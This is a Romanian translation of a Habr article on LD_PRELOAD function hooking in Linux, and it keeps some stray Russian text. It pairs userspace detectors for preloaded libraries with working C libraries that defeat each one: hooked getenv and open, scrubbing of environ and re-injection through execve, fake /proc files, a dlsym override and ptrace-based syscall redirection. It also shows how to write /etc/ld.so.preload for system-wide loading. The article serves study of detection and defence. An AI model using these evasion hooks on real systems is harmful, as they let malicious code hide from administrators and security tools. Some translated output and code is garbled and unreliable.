Această notă a fost scrisă în 2014, dar am fost sub represiuni pe Habr și nu a văzut lumina zilei. În perioada interdicției am uitat de ea, iar acum am găsit-o în schițe. M-am gândit să o șterg, dar poate că își va găsi utilitatea pentru cineva.

În general, o lectură administrativă de vineri despre căutarea de "inclus" LD_PRELOAD.
1. O mică introducere pentru cei care nu sunt familiarizați cu substituirea funcțiilor
Cei din urmă pot trece direct la p.2.
Să începem cu un exemplu clasic:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
Compilăm fără nicio opțiune:
$ gcc ./ld_rand.c -o ld_rand
Și, așa cum s-a așteptat, obținem 5 numere aleatoare mai mici de 100:
$ ./ld_rand
53
93
48
57
20
Dar să ne imaginăm că nu avem codul sursă al programului și trebuie să modificăm comportamentul acestuia.
Vom crea propria noastră bibliotecă cu un prototip de funcție, de exemplu:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
Și acum alegerea noastră aleatoare este complet previzibilă:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
Acest truc pare și mai impresionant dacă mai întâi exportăm biblioteca noastră prin
$ export LD_PRELOAD=$PWD/ld_rand.so
sau executăm mai întâi
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
apoi lansăm programul în mod normal. Nu am modificat nicio linie din codul propriu-zis al programului, dar comportamentul său depinde acum de microfuncția din biblioteca noastră. Mai mult, în momentul în care am scris programul, falsul rand nu exista nici măcar.
Ce a determinat programul nostru să folosească falsul? rand? Разберем по шагам.
Atunci când aplicația este lansată, anumite biblioteci sunt încărcate, care conțin funcțiile necesare programului. Putem să le vizualizăm folosind ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Această listă poate varia în funcție de versiunea OS, dar cu siguranță ar trebui să existe fișierul libc.so. Această bibliotecă asigură apelurile de sistem și funcțiile de bază, cum ar fi open, malloc, printf și așa mai departe. Al nostru rand de asemenea, face parte din acestea. Să ne asigurăm de acest lucru:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
Să vedem dacă setul de biblioteci se va schimba când folosim LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Se pare că variabila setată LD_PRELOAD forțează încărcarea bibliotecii noastre ld_rand.so chiar dacă programul nu o necesită. Și, deoarece funcția noastră "rand" este încărcată înainte de rand de la libc.so, atunci ea stăpânește scena.
Ok, am reușit să înlocuim funcția originală, dar cum să facem astfel încât funcționalitatea să rămână și să adăugăm anumite acțiuni. Vom modifica aleatorul nostru:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
Aici, ca "aditiv" adăugăm doar o linie de text, după care creăm un pointer către funcția originală rand. Pentru a obține adresa această funcție, va trebui dlsym — aceasta este o funcție din biblioteca libdl, care va găsi rand în stiva bibliotecilor dinamice. Apoi vom apela această funcție și vom returna valoarea acesteia. Prin urmare, va trebui să adăugăm «-ldl» la compilare:
$ gcc -ldl -shared -fPIC .\/o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD\/ld_rand_evil.so .\/ld_rand
Codul rău intenționat injectat
66
Codul rău intenționat injectat
28
Codul rău intenționat injectat
93
Codul rău intenționat injectat
93
Codul rău intenționat injectat
95
Și programul nostru folosește „nativ” rand, executând anterior anumite acțiuni necorespunzătoare.
2. Dificultăți în căutare
Cunoscând despre amenințarea potențială, vrem să detectăm că preload a fost executat. Este clar că cea mai bună metodă de detectare este să-l încorporăm în kernel, dar m-au interesat în mod special opțiunile de determinare în user space.
Următoarele vor fi soluții de detectare și contracare.
2.1. Să începem cu ceva simplu
Așa cum s-a spus anterior, biblioteca încărcată poate fi specificată prin variabila LD_PRELOAD sau prin scrierea acesteia în fișierul /etc/ld.so.preload. Vom crea două detectoare simple.
Primul — pentru a verifica variabila de mediu setată:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
Al doilea — pentru a verifica deschiderea fișierului:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
Vom încărca bibliotecile:
$ export LD_PRELOAD=$PWD\/ld_rand.so
$ echo "$PWD\/ld_rand.so" > \/etc\/ld.so.preload
$ .\/detect_base_getenv
LD_PRELOAD (getenv) [+]
$ .\/detect_base_open
LD_PRELOAD (open) [+]
Aici și mai departe, [+] indică o detectare de succes.
Prin urmare, [-] înseamnă ocolirea detectării.
Cât de eficient este un astfel de detector? Să ne ocupăm mai întâi de variabila de mediu:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl .\/ld_undetect_getenv.c -o .\/ld_undetect_getenv.so
$ LD_PRELOAD=.\/ld_undetect_getenv.so .\/detect_base_getenv
LD_PRELOAD (getenv) [-]
În mod similar, ne descurcăm și cu verificarea open:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl .\/ld_undetect_open.c -o .\/ld_undetect_open.so
$ LD_PRELOAD=.\/ld_undetect_open.so .\/detect_base_open
LD_PRELOAD (open) [-]
Da, aici pot fi folosite alte moduri de acces la fișier, cum ar fi open64, stat ș.a.m.d., dar, în esență, pentru a le înșela sunt necesare aceleași 5-10 linii de cod.
2.2. Să mergem mai departe
Mai sus am folosit getenv() pentru a obține valoarea LD_PRELOAD, dar există și o metodă mai „la nivel scăzut” de a accesa ENV-variabilele. Nu vom folosi funcții intermediare, ci ne vom adresa direct matricei **environ, în care este stocată o copie a mediului:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
Deoarece aici citim date direct din memorie, acest apel nu poate fi interceptat, iar undetect_getenv nu mai împiedică detectarea intervenției.
$ LD_PRELOAD=.\/ld_undetect_getenv.so .\/detect_environ
LD_PRELOAD (**environ) [+]
Părea că problema este rezolvată? Totul abia începe.
După ce programul a fost lansat, valoarea variabilei LD_PRELOAD din memorie nu mai este necesară hackerilor, deci poate fi considerată și ștearsă înainte de a executa orice instrucțiuni. Desigur, a modifica un array în memorie este cel puțin un stil de programare prost, dar poate acest lucru să oprească pe cineva care nu dorește cu adevărat binele nostru?
Pentru aceasta, va trebui să creăm propria noastră funcție falsă init(), în care vom intercepta instalat LD_PRELOAD și o vom transmite compozitorului nostru:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
Executăm, verificăm:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init .\/ld_undetect_environ.c -o .\/ld_undetect_environ.so
$ LD_PRELOAD=.\/ld_undetect_environ.so .\/detect_environ
LD_PRELOAD (**environ) [-]
2.3. \/proc\/self\/
Cu toate acestea, memoria nu este ultimul loc unde poate fi descoperită o înlocuire LD_PRELOAD, mai există și /proc/. Să începem cu evidentul /proc/{PID}/environ.
De fapt, există o soluție universală pentru undetect **environ și /proc/self/environ. Problema constă în comportamentul "incorect" unsetenv(env).
varianta corectă
void evil_init()
{
\/\/ În primul rând, salvăm valoarea actuală LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len + 1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i], env);
if(pch != NULL) {
\/\/ Ne dezvățăm de actualul LD_PRELOAD
\/\/unsetenv(env);
\/\/ În loc de unset, vom doar șterge variabila noastră
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init .\/ld_undetect_environ_2.c -o .\/ld_undetect_environ_2.so
$ (LD_PRELOAD=.\/ld_undetect_environ_2.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Dar să ne imaginăm că nu l-am găsit și /proc/self/environ conține date "problemă".
Mai întâi, să încercăm cu "mascărarea" noastră anterioară:
$ (LD_PRELOAD=.\/ld_undetect_environ.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=.\/ld_undetect_environ.so
cat folosește pentru a deschide fișierul tot același open(), așa că soluția este similară cu cea oferită la p.2.1, dar acum creăm un fișier temporar în care copiem valorile memoriei reale fără liniile care conțin LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
Și acest pas a fost finalizat:
$ (LD_PRELOAD=.\/ld_undetect_proc_environ.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Următorul loc evident este /proc/self/maps. Nu are rost să ne oprim aici. Soluția este absolut identică cu cea anterioară: copiăm datele din fișier scăzând liniile între libc.so și ld.so.
2.4. Varianta de la Chokepoint
Această soluție mi-a plăcut deosebit de mult pentru simplitatea sa. Comparăm adresele funcțiilor, încărcate direct din libc, și adresele „NEXT”.
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
Încărcăm biblioteca cu interceptarea „open()” și verificăm:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Adresa Libc: 0x7fa86893b160
Următoarea adresă: 0x7fa868a26135
Declinarea s-a dovedit a fi și mai simplă:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Syscalls
Ar părea că asta e tot, dar hai să ne mai agitam puțin. Dacă direcționăm apelul de sistem direct către kernel, acest lucru va permite ocolirea întregului proces de interceptare. Soluția de mai jos, desigur, este dependentă de arhitectură (x86_64). Să încercăm să implementăm pentru detectarea deschiderii ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (apela sistem - open) [+]
Și această problemă are o soluție. Extras din man‘a:
ptrace este un instrument care permite procesului părinte să observe și să controleze execuția unui alt proces, să vizualizeze și să modifice datele și registrele acestuia. De obicei, această funcție este utilizată pentru crearea punctelor de întrerupere în programele de depanare și pentru urmărirea apelurilor de sistem.
Procesul părinte poate începe urmărirea, apelând mai întâi funcția fork(2), iar apoi procesul fiu rezultat poate executa PTRACE_TRACEME, urmat (de obicei) de apelul exec(3). Pe de altă parte, procesul părinte poate începe depanarea unui proces existent folosind PTRACE_ATTACH.
În timpul urmăririi, procesul fiu se oprește de fiecare dată când primește un semnal, chiar dacă acest semnal este ignorat. (Excepția este SIGKILL, care funcționează în mod normal.) Procesul părinte va fi notificat despre aceasta la apelul wait(2), după care poate vizualiza și modifica conținutul procesului fiu înainte de a-l relua. După aceasta, procesul părinte permite fiului să continue, în unele cazuri ignorând semnalul trimis sau trimițând în schimb un alt semnal).
Astfel, soluția constă în a urmări procesul, oprindu-l înainte de fiecare apel de sistem și, dacă este necesar, redirecționând fluxul către o funcție de prindere.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
Verificăm:
$ ./detect_syscall
LD_PRELOAD (apela sistem - open) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (apela sistem - open) [-]
+0-0=5
Îți mulțumesc foarte mult
, ale căror articole, surse și comentarii au contribuit mult mai mult decât am făcut eu pentru ca această notă să apară aici.
Sursa: habr.com
